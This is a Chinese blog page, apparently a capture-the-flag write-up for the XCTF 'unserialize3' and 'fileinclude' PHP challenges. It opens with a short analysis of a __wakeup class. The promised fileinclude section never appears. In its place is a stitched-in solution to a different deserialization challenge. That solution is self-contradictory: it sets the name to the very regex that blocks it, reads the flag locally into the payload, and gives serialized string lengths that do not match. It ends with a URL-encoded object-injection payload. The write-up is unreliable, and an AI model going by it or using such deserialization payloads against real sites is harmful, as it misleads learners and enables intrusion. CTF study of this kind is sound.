攻防世界--unserialize3 fileinclude

文章介绍了PHP中unserialize函数与类的__wakeup方法结合可能导致的安全问题,以及如何通过修改序列化字符串绕过wakeup方法。同时,讲解了fileinclude漏洞,特别是如何利用php伪协议读取文件内容,通过构造特定的cookie值来获取base64编码的flag。
该文章已生成可运行项目,

目录

unserialize3

fileinclude


unserialize3

进入场景

class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
?code=                         
  

代码审计:

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的 于是 这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak));       //输出被序列化的对象(peak)
?>

运行结果

本文章已经生成可运行项目
这道题是一个 PHP 反序列化的题目。 题目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show(&#39;flag&#39;,&#39;0&#39;); $this->data = file_get_contents(&#39;/flag&#39;); } public function __destruct(){ if(preg_match(&#39;/show|flag|_|\s|\(|\)|{|}|\&#39;|\"/i&#39;,$this->show)){ exit(&#39;hacker!&#39;); } echo $this->show." is ".$this->data; } } if(isset($_GET[&#39;a&#39;])){ $a = unserialize($_GET[&#39;a&#39;]); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的题目,传入参数为 $_GET[&#39;a&#39;],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents(&#39;/flag&#39;),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\&#39;|\"/i,如果匹配到就会输出 &#39;hacker!&#39;。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据题目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show(&#39;/show|flag|_|\s|\(|\)|{|}|\&#39;|\"/i&#39;,&#39;0&#39;); $this->data = file_get_contents(&#39;/flag&#39;); } public function __destruct(){ if(preg_match(&#39;/show|flag|_|\s|\(|\)|{|}|\&#39;|\"/i&#39;,$this->show)){ exit(&#39;hacker!&#39;); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|&#39;|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET[&#39;a&#39;] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tzyyyyyy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值